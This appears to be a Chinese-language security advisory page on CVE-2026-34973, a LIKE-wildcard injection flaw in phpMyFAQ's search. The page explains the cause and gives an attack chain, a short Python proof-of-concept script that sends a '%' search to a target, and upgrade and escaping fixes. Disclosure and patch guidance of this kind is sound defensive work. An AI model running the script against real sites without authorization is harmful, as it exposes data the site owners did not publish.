IPBUF安全漏洞报告
English
CVE-2026-34973 CVSS 5.3 中危

CVE-2026-34973 phpMyFAQ信息泄露漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-34973
漏洞类型
SQL注入
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
phpMyFAQ

相关标签

SQL注入信息泄露phpMyFAQCVE-2026-34973

漏洞概述

phpMyFAQ是一个开源的常见问题解答Web应用程序。在4.1.1版本之前,其Search.php文件中的searchCustomPages()方法存在安全漏洞。该方法在处理搜索词时,仅使用real_escape_string()函数进行过滤,然后将其嵌入到SQL LIKE子句中。然而,该函数无法转义SQL LIKE语句中的通配符(如%和_)。未经身份验证的攻击者可以利用此漏洞,在搜索查询中注入这些通配符,从而匹配并检索到未预期的记录,导致敏感信息泄露。该问题已在4.1.1版本中修复。

技术细节

该漏洞源于不安全的输入处理机制。在phpMyFAQ的phpmyfaq/src/phpMyFAQ/Search.php文件中,searchCustomPages()函数负责处理自定义页面的搜索请求。开发者使用real_escape_string()(通过escape()方法)来对用户输入的搜索词进行净化,旨在防止SQL注入攻击。然而,real_escape_string()主要针对SQL语句的结构性字符(如单引号)进行转义,它并不会对SQL LIKE操作符中具有特殊含义的通配符进行转义。在SQL语法中,百分号%代表匹配任意长度的字符序列,下划线_代表匹配任意单个字符。由于应用程序直接将未经正确处理的用户输入拼接到LIKE子句中,攻击者无需认证即可构造包含这些通配符的恶意搜索请求。例如,在搜索框中输入%可能导致查询匹配数据库中的所有记录,而不仅仅是符合特定关键词的记录。这使得攻击者能够遍历数据库内容,获取本不应公开显示的页面内容或数据,从而导致信息泄露风险。

攻击链分析

STEP 1
步骤1
攻击者识别出目标网站运行的是phpMyFAQ应用程序,且版本低于4.1.1。
STEP 2
步骤2
攻击者向Search.php接口发送特制的搜索请求,在搜索参数中注入SQL LIKE通配符(%或_)。
STEP 3
步骤3
服务器端将未转义的通配符拼接到SQL查询中,导致数据库返回所有匹配通配符的记录。
STEP 4
步骤4
攻击者分析服务器响应,获取本应受限或未授权访问的页面内容和信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-34973: phpMyFAQ Information Disclosure import requests def exploit_poc(target_url): # Target endpoint for searching custom pages search_url = f"{target_url}/index.php" # Payload using SQL LIKE wildcard '%' to match any sequence # This attempts to return all records in the search result payload = { "action": "search", "search": "%" # Injecting wildcard } try: response = requests.get(search_url, params=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the response body for unintended information disclosure.") print(f"Response length: {len(response.text)} bytes") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://example.com/phpmyfaq" # Replace with actual target exploit_poc(target)

影响范围

phpMyFAQ < 4.1.1

防御指南

临时缓解措施
建议管理员立即检查系统版本,若受影响应尽快升级至4.1.1版本。在无法立即升级的情况下,可以修改Search.php源码,在将用户输入用于LIKE查询前,使用addcslashes()函数手动转义%和_字符,或使用参数化查询替代字符串拼接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表